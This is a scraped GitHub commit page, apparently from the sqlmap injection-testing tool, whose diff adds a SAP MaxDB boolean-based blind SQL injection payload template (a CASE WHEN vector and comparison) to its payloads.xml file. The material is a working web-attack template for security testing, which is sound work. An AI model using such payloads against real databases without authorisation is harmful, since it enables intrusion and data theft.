Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit ff9080d

Browse files
committed
MaxDB always precalculates values for both TRUE and FALSE, hence we can't trick him to run any "faulty" command (e.g. 1/0). This payload is fairly ok because in case of FALSE --> something=NULL is always NULL
1 parent 08697e6 commit ff9080d

1 file changed

Lines changed: 19 additions & 1 deletion

File tree

xml/payloads.xml

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -745,7 +745,25 @@ Formats:
745745
<dbms>Microsoft Access</dbms>
746746
</details>
747747
</test>
748-
<!-- TODO: check against SAP MaxDB -->
748+
749+
<test>
750+
<title>SAP MaxDB boolean-based blind - Parameter replace (original value)</title>
751+
<stype>1</stype>
752+
<level>3</level>
753+
<risk>1</risk>
754+
<clause>1,3</clause>
755+
<where>3</where>
756+
<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
757+
<request>
758+
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
759+
</request>
760+
<response>
761+
<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
762+
</response>
763+
<details>
764+
<dbms>SAP MaxDB</dbms>
765+
</details>
766+
</test>
749767
<!-- End of boolean-based blind tests - Parameter replace -->
750768

751769

0 commit comments

Comments
 (0)